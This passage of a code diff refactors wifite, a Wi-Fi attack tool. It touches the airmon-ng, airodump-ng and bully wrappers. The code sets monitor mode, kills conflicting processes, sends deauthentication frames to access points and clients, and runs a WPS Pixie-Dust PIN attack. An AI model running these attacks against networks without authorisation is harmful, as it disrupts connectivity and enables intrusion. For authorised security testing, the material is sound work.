+                            self.status = "Replaying @ %s/sec" % pps
                     pass
 
     def __del__(self):

wifite/tools/airmon.py

@@ -1,7 +1,9 @@
 #!/usr/bin/python2.7
 # -*- coding: utf-8 -*-
 
-from ..model.interface import Interface
+from .dependency import Dependency
+from .ifconfig import Ifconfig
+from .iwconfig import Iwconfig
 from ..util.process import Process
 from ..util.color import Color
 from ..util.input import raw_input
@@ -11,11 +13,54 @@ import re
 import os
 import signal
 
-class Airmon(object):
+class AirmonIface(object):
+    def __init__(self, phy, interface, driver, chipset):
+        self.phy = phy
+        self.interface = interface
+        self.driver = driver
+        self.chipset = chipset
+        self.mac_address = Ifconfig.get_mac(interface)
+
+    # Max length of fields.
+    # Used for printing a table of interfaces.
+    INTERFACE_LEN = 12
+    PHY_LEN = 6
+    DRIVER_LEN = 20
+    CHIPSET_LEN = 30
+
+    def __str__(self):
+        ''' Colored string representation of interface '''
+        s = ''
+        s += Color.s('{G}%s' % self.interface.ljust(self.INTERFACE_LEN))
+        s += Color.s('{W}%s' % self.phy.ljust(self.PHY_LEN))
+        s += Color.s('{C}%s' % self.driver.ljust(self.DRIVER_LEN))
+        s += Color.s('{W}%s' % self.chipset.ljust(self.CHIPSET_LEN))
+        return s
+
+    @staticmethod
+    def menu_header():
+        ''' Colored header row for interfaces '''
+        s = '    '  # Space for index #
+        s += 'Interface'.ljust(AirmonIface.INTERFACE_LEN)
+        s += 'PHY'.ljust(AirmonIface.PHY_LEN)
+        s += 'Driver'.ljust(AirmonIface.DRIVER_LEN)
+        s += 'Chipset'.ljust(AirmonIface.CHIPSET_LEN)
+        s += '\n'
+        s += '-' * (AirmonIface.INTERFACE_LEN + AirmonIface.PHY_LEN + AirmonIface.DRIVER_LEN + AirmonIface.CHIPSET_LEN + 3)
+        return s
+
+
+class Airmon(Dependency):
     ''' Wrapper around the 'airmon-ng' program '''
+    dependency_required = True
+    dependency_name = 'airmon-ng'
+    dependency_url = 'https://www.aircrack-ng.org/install.html'
+
     base_interface = None
     killed_network_manager = False
 
+    # Drivers that need to be manually put into monitor mode
+    BAD_DRIVERS = ['rtl8821au']
     #see if_arp.h
     ARPHRD_ETHER = 1 #managed
     ARPHRD_IEEE80211_RADIOTAP = 803 #monitor
@@ -29,7 +74,7 @@ class Airmon(object):
 
     def print_menu(self):
         ''' Prints menu '''
-        print(Interface.menu_header())
+        print(AirmonIface.menu_header())
         for idx, iface in enumerate(self.interfaces, start=1):
             Color.pl(" {G}%d{W}. %s" % (idx, iface))
 
@@ -42,38 +87,57 @@ class Airmon(object):
 
     @staticmethod
     def get_interfaces():
-        '''
+        '''Returns List of AirmonIface objects known by airmon-ng'''
-            Returns:
-                List of Interface objects known by airmon-ng
-        '''
         interfaces = []
         p = Process('airmon-ng')
         for line in p.stdout().split('\n'):
-            # Ignore blank/header lines
+            # [PHY ]IFACE DRIVER CHIPSET
-            if len(line) == 0 or line.startswith('Interface') or line.startswith('PHY'):
+            airmon_re = re.compile(r'^(?:([^\t]*)\t+)?([^\t]*)\t+([^\t]*)\t+([^\t]*)$')
+            matches = airmon_re.match(line)
+            if not matches:
                 continue
 
-            # Strip out interface information
+            phy, interface, driver, chipset = matches.groups()
-            fields = line.split("\t")
+            if phy == 'PHY' or phy == 'Interface':
-            while '' in fields:
+                continue  # Header
-                fields.remove('')
+
-            # Add Interface object to list
+            interfaces.append(AirmonIface(phy, interface, driver, chipset))
-            interfaces.append(Interface(fields))
+
         return interfaces
 
     @staticmethod
-    def start_baddriver(iface): #fix for bad drivers like the rtl8812AU
+    def start_bad_driver(iface):
-        os.system("ifconfig %s down; iwconfig %s mode monitor; ifconfig %s up" % (iface, iface, iface))
+        '''
-        with open("/sys/class/net/" + iface + "/type", "r") as f:
+        Manually put interface into monitor mode (no airmon-ng or vif).
+        Fix for bad drivers like the rtl8812AU.
+        '''
+        Ifconfig.down(iface)
+        Iwconfig.mode(iface, 'monitor')
+        Ifconfig.up(iface)
+
+        # /sys/class/net/wlan0/type
+        iface_type_path = os.path.join('/sys/class/net', iface, 'type')
+        if os.path.exists(iface_type_path):
+            with open(iface_type_path, 'r') as f:
                 if (int(f.read()) == Airmon.ARPHRD_IEEE80211_RADIOTAP):
                     return iface
 
         return None
 
     @staticmethod
-    def stop_baddriver(iface):
+    def stop_bad_driver(iface):
-        os.system("ifconfig %s down; iwconfig %s mode managed; ifconfig %s up" % (iface, iface, iface))
+        '''
-        with open("/sys/class/net/" + iface + "/type", "r") as f:
+        Manually put interface into managed mode (no airmon-ng or vif).
+        Fix for bad drivers like the rtl8812AU.
+        '''
+        Ifconfig.down(iface)
+        Iwconfig.mode(iface, 'managed')
+        Ifconfig.up(iface)
+
+        # /sys/class/net/wlan0/type
+        iface_type_path = os.path.join('/sys/class/net', iface, 'type')
+        if os.path.exists(iface_type_path):
+            with open(iface_type_path, 'r') as f:
                 if (int(f.read()) == Airmon.ARPHRD_ETHER): 
                     return iface
 
@@ -85,7 +149,7 @@ class Airmon(object):
             Starts an interface (iface) in monitor mode
             Args:
                 iface - The interface to start in monitor mode
-                        Either an instance of Interface object,
+                        Either an instance of AirmonIface object,
                         or the name of the interface (string).
             Returns:
                 Name of the interface put into monitor mode.
@@ -93,100 +157,110 @@ class Airmon(object):
                 Exception - If an interface can't be put into monitor mode
         '''
         # Get interface name from input
-        if type(iface) == Interface:
+        if type(iface) == AirmonIface:
-            iface = iface.name
+            iface_name = iface.interface
-        Airmon.base_interface = iface
+            driver = iface.driver
+        else:
+            iface_name = iface
+            driver = None
 
-        # Call airmon-ng
+        # Remember this as the "base" interface.
-        Color.p("{+} enabling {G}monitor mode{W} on {C}%s{W}... " % iface)
+        Airmon.base_interface = iface_name
-        (out,err) = Process.call('airmon-ng start %s' % iface)
 
-        # Find the interface put into monitor mode (if any)
+        Color.p("{+} enabling {G}monitor mode{W} on {C}%s{W}... " % iface_name)
-        mon_iface = None
-        for line in out.split('\n'):
-            if 'monitor mode' in line and 'enabled' in line and ' on ' in line:
-                mon_iface = line.split(' on ')[1]
-                if ']' in mon_iface:
-                    mon_iface = mon_iface.split(']')[1]
-                if ')' in mon_iface:
-                    mon_iface = mon_iface.split(')')[0]
-                break
 
-        if mon_iface is None:
+        airmon_output = Process(['airmon-ng', 'start', iface_name]).stdout()
-            # Airmon did not enable monitor mode on an interface
-            mon_iface = Airmon.start_baddriver(iface)
 
-        if mon_iface is None:
+        enabled_iface = Airmon._parse_airmon_start(airmon_output)
+
+        if enabled_iface is None and driver in Airmon.BAD_DRIVERS:
+            Color.p('{O}"bad driver" detected{W} ')
+            enabled_iface = Airmon.start_bad_driver(iface_name)
+
+        if enabled_iface is None:
             Color.pl("{R}failed{W}")
 
-        mon_ifaces = Airmon.get_interfaces_in_monitor_mode()
+        monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor')
 
         # Assert that there is an interface in monitor mode
-        if len(mon_ifaces) == 0:
+        if len(monitor_interfaces) == 0:
             Color.pl("{R}failed{W}")
-            raise Exception("iwconfig does not see any interfaces in Mode:Monitor")
+            raise Exception("Cannot find any interfaces in Mode:Monitor")
 
         # Assert that the interface enabled by airmon-ng is in monitor mode
-        if mon_iface not in mon_ifaces:
+        if enabled_iface not in monitor_interfaces:
             Color.pl("{R}failed{W}")
-            raise Exception("iwconfig does not see %s in Mode:Monitor" % mon_iface)
+            raise Exception("Cannot find %s with Mode:Monitor" % enabled_iface)
 
-        # No errors found; the device 'mon_iface' was put into MM.
+        # No errors found; the device 'enabled_iface' was put into Mode:Monitor.
-        Color.pl("{G}enabled {C}%s{W}" % mon_iface)
+        Color.pl("{G}enabled {C}%s{W}" % enabled_iface)
 
-        Configuration.interface = mon_iface
+        return enabled_iface
 
-        return mon_iface
+    @staticmethod
+    def _parse_airmon_start(airmon_output):
+        '''Find the interface put into monitor mode (if any)'''
+
+        # airmon-ng output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon)
+        enabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?enabled for [^ ]+ on (?:\[\w+\])?(\w+)\)\s*')
+
+        for line in airmon_output.split('\n'):
+            matches = enabled_re.match(line)
+            if matches:
+                return matches.group(1)
+
+        return None
 
 
     @staticmethod
     def stop(iface):
         Color.p("{!} {R}disabling {O}monitor mode{O} on {R}%s{O}... " % iface)
-        (out,err) = Process.call('airmon-ng stop %s' % iface)
-        mon_iface = None
-        for line in out.split('\n'):
-            # aircrack-ng 1.2 rc2
-            if 'monitor mode' in line and 'disabled' in line and ' for ' in line:
-                mon_iface = line.split(' for ')[1]
-                if ']' in mon_iface:
-                    mon_iface = mon_iface.split(']')[1]
-                if ')' in mon_iface:
-                    mon_iface = mon_iface.split(')')[0]
-                break
 
-            # aircrack-ng 1.2 rc1
+        airmon_output = Process(['airmon-ng', 'stop', iface]).stdout()
-            match = re.search('([a-zA-Z0-9]+).*\(removed\)', line)
-            if match:
-                mon_iface = match.groups()[0]
-                break
 
-        if not mon_iface:
+        (disabled_iface, enabled_iface) = Airmon._parse_airmon_stop(airmon_output)
-            mon_iface = Airmon.stop_baddriver(iface)
 
-        if mon_iface:
+        if not disabled_iface and iface in Airmon.BAD_DRIVERS:
-            Color.pl('{R}disabled %s{W}' % mon_iface)
+            Color.p('{O}"bad driver" detected{W} ')
+            disabled_iface = Airmon.stop_bad_driver(iface)
+
+        if disabled_iface:
+            Color.pl('{G}disabled %s{W}' % disabled_iface)
         else:
             Color.pl('{O}could not disable on {R}%s{W}' % iface)
 
+        return (disabled_iface, enabled_iface)
+
 
     @staticmethod
-    def get_interfaces_in_monitor_mode():
+    def _parse_airmon_stop(airmon_output):
-        '''
+        '''Find the interface taken out of into monitor mode (if any)'''
-            Uses 'iwconfig' to find all interfaces in monitor mode
+
-            Returns:
+        # airmon-ng 1.2rc2 output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon)
-                List of interface names that are in monitor mode
+        disabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?disabled for (?:\[\w+\])?(\w+)\)\s*')
-        '''
+
-        interfaces = []
+        # airmon-ng 1.2rc1 output: wlan0mon (removed)
-        (out, err) = Process.call("iwconfig")
+        removed_re = re.compile(r'([a-zA-Z0-9]+).*\(removed\)')
-        for line in out.split("\n"):
+
-            if len(line) == 0: continue
+        # Enabled interface: (mac80211 station mode vif enabled on [phy4]wlan0)
-            if line[0] != ' ':
+        enabled_re = re.compile(r'\s*\(mac80211 station mode (?:vif )?enabled on (?:\[\w+\])?(\w+)\)\s*')
-                iface = line.split(' ')[0]
+
-                if '\t' in iface:
+        disabled_iface = None
-                    iface = iface.split('\t')[0]
+        enabled_iface = None
-            if 'Mode:Monitor' in line and iface not in interfaces:
+        for line in airmon_output.split('\n'):
-                interfaces.append(iface)
+            matches = disabled_re.match(line)
-        return interfaces
+            if matches:
+                disabled_iface = matches.group(1)
+
+            matches = removed_re.match(line)
+            if matches:
+                disabled_iface = matches.group(1)
+
+            matches = enabled_re.match(line)
+            if matches:
+                enabled_iface = matches.group(1)
+
+        return (disabled_iface, enabled_iface)
 
 
     @staticmethod
@@ -195,20 +269,19 @@ class Airmon(object):
         Asks user to define which wireless interface to use.
         Does not ask if:
             1. There is already an interface in monitor mode, or
-                2. There is only one wireles interface (automatically selected).
+            2. There is only one wireless interface (automatically selected).
         Puts selected device into Monitor Mode.
         '''
 
         Airmon.terminate_conflicting_processes()
 
         Color.pl('\n{+} looking for {C}wireless interfaces{W}')
-        mon_ifaces = Airmon.get_interfaces_in_monitor_mode()
+        monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor')
-        mon_count = len(mon_ifaces)
+        if len(monitor_interfaces) == 1:
-        if mon_count == 1:
             # Assume we're using the device already in montior mode
-            iface = mon_ifaces[0]
+            iface = monitor_interfaces[0]
-            Color.pl('{+} using interface {G}%s{W} which is already in monitor mode'
+            Color.pl('     using interface {G}%s{W} (already in monitor mode)' % iface);
-                % iface);
+            Color.pl('     you can specify the wireless interface using {C}-i wlan0{W}')
             Airmon.base_interface = None
             return iface
 
@@ -237,63 +310,59 @@ class Airmon(object):
 
         iface = a.get(choice)
 
-        if a.get(choice).name in mon_ifaces:
+        if a.get(choice).interface in monitor_interfaces:
-            Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.name)
+            Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.interface)
         else:
-            iface.name = Airmon.start(iface)
+            iface.interface = Airmon.start(iface)
-        return iface.name
+        return iface.interface
 
 
     @staticmethod
     def terminate_conflicting_processes():
         ''' Deletes conflicting processes reported by airmon-ng '''
 
-        '''
+        airmon_output = Process(['airmon-ng', 'check']).stdout()
-        % airmon-ng check
 
-        Found 3 processes that could cause trouble.
+        # Conflicting process IDs and names
-        If airodump-ng, aireplay-ng or airtun-ng stops working after
+        pid_pnames = []
-        a short period of time, you may want to kill (some of) them!
-        -e
-        PID Name
-        2272    dhclient
-        2293    NetworkManager
-        3302    wpa_supplicant
-        '''
 
-        out = Process(['airmon-ng', 'check']).stdout()
+        # 2272    dhclient
-        if 'processes that could cause trouble' not in out:
+        # 2293    NetworkManager
-            # No proceses to kill
+        pid_pname_re = re.compile(r'^\s*(\d+)\s*([a-zA-Z0-9_\-]+)\s*$')
+        for line in airmon_output.split('\n'):
+            match = pid_pname_re.match(line)
+            if match:
+                pid = match.group(1)
+                pname = match.group(2)
+                pid_pnames.append( (pid, pname) )
+
+        if len(pid_pnames) == 0:
             return
 
-        hit_pids = False
+        if not Configuration.kill_conflicting_processes:
-        for line in out.split('\n'):
+            # Don't kill processes, warn user
-            if re.search('^ *PID', line):
+            for pid, pname in pid_pnames:
-                hit_pids = True
+                Color.pl('{!} {O}conflicting process: {R}%s{O} (PID {R}%s{O})' % (pname, pid))
-                continue
+            Color.pl('{!} {O}if you have problems: {R}kill -9 PID{O} or re-run wifite with {R}--kill{O}){W}')
-            if not hit_pids or line.strip() == '':
+            return
-                continue
+
-            match = re.search('^[ \t]*(\d+)[ \t]*([a-zA-Z0-9_\-]+)[ \t]*$', line)
+        Color.pl('{!} {O}killing {R}%d {O}conflicting processes' % len(pid_pnames))
-            if match:
+        for pid, pname in pid_pnames:
-                # Found process
+            if pname == 'NetworkManager' and Process.exists('service'):
-                pid = match.groups()[0]
+                Color.pl('{!} {O}stopping network-manager ({R}service network-manager stop{O})')
-                pname = match.groups()[1]
+                # Can't just pkill network manager; it's a service
-                if Configuration.kill_conflicting_processes:
+                Process(['service', 'network-manager', 'stop']).wait()
-                    Color.pl('{!} {R}terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid))
-                    os.kill(int(pid), signal.SIGTERM)
-                    if pname == 'NetworkManager':
                 Airmon.killed_network_manager = True
             else:
-                    Color.pl('{!} {O}conflicting process: {R}%s{O} (PID {R}%s{O})' % (pname, pid))
+                Color.pl('{!} {R}terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid))
+                os.kill(int(pid), signal.SIGTERM)
 
-        if not Configuration.kill_conflicting_processes:
-            Color.pl('{!} {O}if you have problems, try killing these processes ({R}kill -9 PID{O}){W}')
 
     @staticmethod
     def put_interface_up(iface):
         Color.p("{!} {O}putting interface {R}%s up{O}..." % (iface))
-        (out,err) = Process.call('ifconfig %s up' % (iface))
+        Ifconfig.up(iface)
-        Color.pl(" {R}done{W}")
+        Color.pl(" {G}done{W}")
 
     @staticmethod
     def start_network_manager():
@@ -332,4 +401,6 @@ class Airmon(object):
 if __name__ == '__main__':
     Airmon.terminate_conflicting_processes()
     iface = Airmon.ask()
-    Airmon.stop(iface)
+    (disabled_iface, enabled_iface) = Airmon.stop(iface)
+    print("Disabled:", disabled_iface)
+    print("Enabled:", enabled_iface)

wifite/tools/airodump.py

@@ -1,6 +1,7 @@
 #!/usr/bin/python2.7
 # -*- coding: utf-8 -*-
 
+from .dependency import Dependency
 from .tshark import Tshark
 from .wash import Wash
 from ..util.process import Process
@@ -10,15 +11,16 @@ from ..model.client import Client
 
 import os, time
 
-class Airodump(object):
+class Airodump(Dependency):
     ''' Wrapper around airodump-ng program '''
+    dependency_required = True
+    dependency_name = 'airodump-ng'
+    dependency_url = 'https://www.aircrack-ng.org/install.html'
 
     def __init__(self, interface=None, channel=None, encryption=None,\
                        wps=False, target_bssid=None, output_file_prefix='airodump',\
-                       ivs_only=False, skip_wps=False):
+                       ivs_only=False, skip_wps=False, delete_existing_files=True):
-        '''
+        '''Sets up airodump arguments, doesn't start process yet.'''
-            Sets up airodump arguments, doesn't start process yet
-        '''
 
         Configuration.initialize()
 
@@ -45,9 +47,11 @@ class Airodump(object):
 
         # For tracking decloaked APs (previously were hidden)
         self.decloaking = False
-        self.decloaked_targets = []
+        self.decloaked_bssids = set()
         self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth
 
+        self.delete_existing_files = delete_existing_files
+
 
     def __enter__(self):
         '''
@@ -55,7 +59,8 @@ class Airodump(object):
         Called at start of 'with Airodump(...) as x:'
         Actually starts the airodump process.
         '''
-        self.delete_airodump_temp_files()
+        if self.delete_existing_files:
+            self.delete_airodump_temp_files(self.output_file_prefix)
 
         self.csv_file_prefix = Configuration.temp() + self.output_file_prefix
 
@@ -67,22 +72,15 @@ class Airodump(object):
             '-w', self.csv_file_prefix, # Output file prefix
             '--write-interval', '1' # Write every second
         ]
-        if self.channel:
+        if self.channel:    command.extend(['-c', str(self.channel)])
-            command.extend(['-c', str(self.channel)])
+        elif self.five_ghz: command.extend(['--band', 'a'])
-        elif self.five_ghz:
-            command.extend(['--band', 'a'])
 
-        if self.encryption:
+        if self.encryption:   command.extend(['--enc', self.encryption])
-            command.extend(['--enc', self.encryption])
+        if self.wps:          command.extend(['--wps'])
-        if self.wps:
+        if self.target_bssid: command.extend(['--bssid', self.target_bssid])
-            command.extend(['--wps'])
-        if self.target_bssid:
-            command.extend(['--bssid', self.target_bssid])
 
-        if self.ivs_only:
+        if self.ivs_only: command.extend(['--output-format', 'ivs,csv'])
-            command.extend(['--output-format', 'ivs,csv'])
+        else:             command.extend(['--output-format', 'pcap,csv'])
-        else:
-            command.extend(['--output-format', 'pcap,csv'])
 
         # Start the process
         self.pid = Process(command, devnull=True)
@@ -97,26 +95,35 @@ class Airodump(object):
         # Kill the process
         self.pid.interrupt()
 
-        # Delete temp files
+        if self.delete_existing_files:
-        self.delete_airodump_temp_files()
+            self.delete_airodump_temp_files(self.output_file_prefix)
 
 
     def find_files(self, endswith=None):
+        return self.find_files_by_output_prefix(self.output_file_prefix, endswith=endswith)
+
+    @classmethod
+    def find_files_by_output_prefix(cls, output_file_prefix, endswith=None):
         ''' Finds all files in the temp directory that start with the output_file_prefix '''
         result = []
-        for fil in os.listdir(Configuration.temp()):
+        temp = Configuration.temp()
-            if fil.startswith(self.output_file_prefix):
+        for fil in os.listdir(temp):
-                if not endswith or fil.endswith(endswith):
+            if not fil.startswith(output_file_prefix):
-                    result.append(Configuration.temp() + fil)
+                continue
+
+            if endswith is None or fil.endswith(endswith):
+                result.append(os.path.join(temp, fil))
+
         return result
 
-    def delete_airodump_temp_files(self):
+    @classmethod
+    def delete_airodump_temp_files(cls, output_file_prefix):
         '''
         Deletes airodump* files in the temp directory.
         Also deletes replay_*.cap and *.xor files in pwd.
         '''
         # Remove all temp files
-        for fil in self.find_files():
+        for fil in cls.find_files_by_output_prefix(output_file_prefix):
             os.remove(fil)
 
         # Remove .cap and .xor files from pwd
@@ -124,20 +131,24 @@ class Airodump(object):
             if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'):
                 os.remove(fil)
 
+        # Remove replay/cap/xor files from temp
+        temp_dir = Configuration.temp()
+        for fil in os.listdir(temp_dir):
+            if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'):
+                os.remove(os.path.join(temp_dir, fil))
+
     def get_targets(self, apply_filter=True):
         ''' Parses airodump's CSV file, returns list of Targets '''
 
         # Find the .CSV file
         csv_filename = None
-        for fil in self.find_files(endswith='-01.csv'):
+        for fil in self.find_files(endswith='.csv'):
-            # Found the file
+            csv_filename = fil  # Found the file
-            csv_filename = fil
             break
-        if csv_filename is None or not os.path.exists(csv_filename):
-            # No file found
-            return self.targets
 
-        # Parse the .CSV file
+        if csv_filename is None or not os.path.exists(csv_filename):
+            return self.targets  # No file found
+
         targets = Airodump.get_targets_from_csv(csv_filename)
 
         # Check targets for WPS
@@ -156,12 +167,16 @@ class Airodump(object):
         # Sort by power
         targets.sort(key=lambda x: x.power, reverse=True)
 
+        # Identify decloaked targets
         for old_target in self.targets:
             for new_target in targets:
-                if old_target.bssid != new_target.bssid: continue
+                if old_target.bssid != new_target.bssid:
+                    continue
+
                 if new_target.essid_known and not old_target.essid_known:
                     # We decloaked a target!
-                    self.decloaked_targets.append(new_target)
+                    new_target.decloaked = True
+                    self.decloaked_bssids.add(new_target.bssid)
 
         if self.pid.poll() is not None:
             raise Exception('Airodump has stopped')
@@ -174,18 +189,19 @@ class Airodump(object):
 
     @staticmethod
     def get_targets_from_csv(csv_filename):
-        '''
+        '''Returns list of Target objects parsed from CSV file.'''
-            Returns list of Target objects parsed from CSV file
-        '''
         targets = []
         import csv
-        with open(csv_filename, 'rb') as csvopen:
+        with open(csv_filename, 'r') as csvopen:
             lines = []
             for line in csvopen:
-                if type(line) is bytes: line = line.decode('utf-8')
                 line = line.replace('\0', '')
                 lines.append(line)
-            csv_reader = csv.reader(lines, delimiter=',')
+            csv_reader = csv.reader(lines,
+                    delimiter=',',
+                    quoting=csv.QUOTE_ALL,
+                    skipinitialspace=True,
+                    escapechar='\\')
 
             hit_clients = False
             for row in csv_reader:
@@ -237,6 +253,8 @@ class Airodump(object):
         result = []
         # Filter based on Encryption
         for target in targets:
+            if Configuration.clients_only and len(target.clients) == 0:
+                continue
             if 'WEP' in Configuration.encryption_filter and 'WEP' in target.encryption:
                 result.append(target)
             elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption:
@@ -268,11 +286,11 @@ class Airodump(object):
         '''
         self.decloaking = False
 
-        # Do not deauth if requested
+        if Configuration.no_deauth:
-        if Configuration.no_deauth: return
+            return  # Do not deauth if requested
 
-        # Do not deauth if channel is not fixed.
+        if self.channel is None:
-        if self.channel is None: return
+            return  # Do not deauth if channel is not fixed.
 
         # Reusable deauth command
         deauth_cmd = [
@@ -281,22 +299,27 @@ class Airodump(object):
             str(Configuration.num_deauths), # Number of deauth packets to send
             '--ignore-negative-one'
         ]
+
         for target in self.targets:
-            if target.essid_known: continue
+            if target.essid_known:
+                continue
+
             now = int(time.time())
             secs_since_decloak = now - self.decloaked_times.get(target.bssid, 0)
-            # Decloak every AP once every 30 seconds
+
-            if secs_since_decloak < 30: continue
+            if secs_since_decloak < 30:
+                continue  # Decloak every AP once every 30 seconds
+
             self.decloaking = True
             self.decloaked_times[target.bssid] = now
             if Configuration.verbose > 1:
                 from ..util.color import Color
-                verbout = " [?] Deauthing %s" % target.bssid
+                Color.pe('{C} [?] Deauthing %s (broadcast & %d clients){W}' % (target.bssid, len(target.clients)))
-                verbout += " (broadcast & %d clients)" % len(target.clients)
+
-                Color.pe("\n{C}" + verbout + "{W}")
             # Deauth broadcast
             iface = Configuration.interface
             Process(deauth_cmd + ['-a', target.bssid, iface])
+
             # Deauth clients
             for client in target.clients:
                 Process(deauth_cmd + ['-a', target.bssid, '-c', client.bssid, iface])
@@ -315,4 +338,3 @@ if __name__ == '__main__':
             Color.pl('   {G}%s %s' % (str(idx).rjust(3), target.to_str()))
 
     Configuration.delete_temp()
-

wifite/tools/bully.py

@@ -1,9 +1,10 @@
 #!/usr/bin/python2.7
 # -*- coding: utf-8 -*-
 
+from .dependency import Dependency
+from .airodump import Airodump
 from ..model.attack import Attack
 from ..model.wps_result import CrackResultWPS
-from ..tools.airodump import Airodump
 from ..util.color import Color
 from ..util.timer import Timer
 from ..util.process import Process
@@ -12,13 +13,17 @@ from ..config import Configuration
 import os, time, re
 from threading import Thread
 
-class Bully(Attack):
+class Bully(Attack, Dependency):
+    dependency_required = False
+    dependency_name = 'bully'
+    dependency_url = 'https://github.com/aanarchyy/bully'
+
     def __init__(self, target):
         super(Bully, self).__init__(target)
-        self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0
+        self.total_timeouts = 0
-        self.pins_attempted = 0
+        self.total_failures = 0
+        self.locked = False
         self.state = "{O}Waiting for beacon{W}"
-        self.m_state = None
         self.start_time = time.time()
 
         self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
@@ -46,8 +51,6 @@ class Bully(Attack):
 
         self.bully_proc = None
 
-    def attack_type(self):
-        return "Pixie-Dust"
 
     def run(self):
         with Airodump(channel=self.target.channel,
@@ -55,11 +58,7 @@ class Bully(Attack):
                       skip_wps=True,
                       output_file_prefix='wps_pin') as airodump:
             # Wait for target
-            Color.clear_entire_line()
+            self.pattack("Waiting for target to appear...")
-            Color.pattack("WPS",
-                    self.target,
-                    self.attack_type(),
-                    "Waiting for target to appear...")
             self.target = self.wait_for_target(airodump)
 
             # Start bully
@@ -67,27 +66,42 @@ class Bully(Attack):
                 stderr=Process.devnull(),
                 bufsize=0,
                 cwd=Configuration.temp())
+
+            # Start bully status thread
             t = Thread(target=self.parse_line_thread)
             t.daemon = True
             t.start()
+
             try:
                 while self.bully_proc.poll() is None:
                     try:
                         self.target = self.wait_for_target(airodump)
                     except Exception as e:
-                        Color.clear_entire_line()
+                        self.pattack('{R}Failed: {O}%s{W}' % e, newline=True)
-                        Color.pattack("WPS",
-                                self.target,
-                                self.attack_type(),
-                                "{R}failed: {O}%s{W}" % e)
-                        Color.pl("")
                         self.stop()
                         break
-                    Color.clear_entire_line()
+
-                    Color.pattack("WPS",
+                    # Update status
-                            self.target,
+                    self.pattack(self.get_status())
-                            self.attack_type(),
+
-                            self.get_status())
+                    # Check if entire attack timed out.
+                    if self.running_time() > Configuration.wps_pixie_timeout:
+                        self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % Configuration.wps_pixie_timeout, newline=True)
+                        self.stop()
+                        return
+
+                    # Check if timeout threshold was breached
+                    if self.total_timeouts >= Configuration.wps_timeout_threshold:
+                        self.pattack('{R}Failed: {O}More than %d timeouts{W}' % Configuration.wps_timeout_threshold, newline=True)
+                        self.stop()
+                        return
+
+                    # Check if WPSFail threshold was breached
+                    if self.total_failures >= Configuration.wps_fail_threshold:
+                        self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % Configuration.wps_fail_threshold, newline=True)
+                        self.stop()
+                        return
+
                     time.sleep(0.5)
             except KeyboardInterrupt as e:
                 self.stop()
@@ -97,111 +111,97 @@ class Bully(Attack):
                 raise e
 
         if self.crack_result is None:
+            self.pattack("{R}Failed{W}", newline=True)
+
+
+    def pattack(self, message, newline=False):
+        # Print message with attack information.
+        time_left = Configuration.wps_pixie_timeout - self.running_time()
+
         Color.clear_entire_line()
         Color.pattack("WPS",
                 self.target,
-                    self.attack_type(),
+                'Pixie-Dust',
-                    "{R}Failed{W}\n")
+                '{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message))
+        if newline:
+            Color.pl("")
+
 
     def running_time(self):
         return int(time.time() - self.start_time)
 
+
     def get_status(self):
-        result = self.state
+        main_status = self.state
-        result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time())
+
-        result += " {G}tries:%d{W}" % self.pins_attempted
+        meta_statuses = []
-        result += " {O}failures:%d{W}" % (self.consecutive_timeouts + self.consecutive_noassoc)
+        if self.total_timeouts > 0:
-        result += " {R}lockouts:%d{W}" % self.consecutive_lockouts
+            meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts)
-        result += ")"
+
-        return result
+        if self.total_failures > 0:
+            meta_statuses.append("{O}WPSFail:%d{W}" % self.total_failures)
+
+        if self.locked:
+            meta_statuses.append("{R}Locked{W}")
+
+        if len(meta_statuses) > 0:
+            main_status += ' (%s)' % ', '.join(meta_statuses)
+
+        return main_status
+
 
     def parse_line_thread(self):
         for line in iter(self.bully_proc.pid.stdout.readline, b""):
             if line == "": continue
             line = line.replace("\r", "").replace("\n", "").strip()
-            if self.parse_line(line): break # Cracked
 
-    def parse_line(self, line):
+            if Configuration.verbose > 1:
-        # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
+                Color.pe('\n{P} [bully:stdout] %s' % line)
-        got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
-        if got_beacon:
-            # group(1)=ESSID, group(2)=BSSID
-            self.state = "Got beacon"
                 
-        # [+] Last State = 'NoAssoc'   Next pin '48855501'
+            self.state = self.parse_state(line)
-        last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
-        if last_state:
-            # group(1)=result, group(2)=PIN
-            result = "Start" # last_state.group(1)
-            pin = last_state.group(2)
-            self.state = "Trying PIN:{C}%s{W}" % pin
 
-        # [+] Rx(  M5  ) = 'Pin1Bad'   Next pin '35565505'
+            self.crack_result = self.parse_crack_result(line)
-        # [+] Tx( Auth ) = 'Timeout'   Next pin '80241263'
-        rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
-        if rx_m:
-            # group(1)=M3/M5, group(2)=result, group(3)=PIN
-            self.m_state = rx_m.group(1)
-            result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
-            if result in ["Pin1Bad", "Pin2Bad"]:
-                self.pins_attempted += 1
-                self.consecutive_lockouts = 0 # Reset lockout count
-                self.consecutive_timeouts = 0 # Reset timeout count
-                self.consecutive_noassoc = 0 # Reset timeout count
-                result = "{G}%s{W}" % result
-            elif result == "Timeout":
-                self.consecutive_timeouts += 1
-                result = "{O}%s{W}" % result
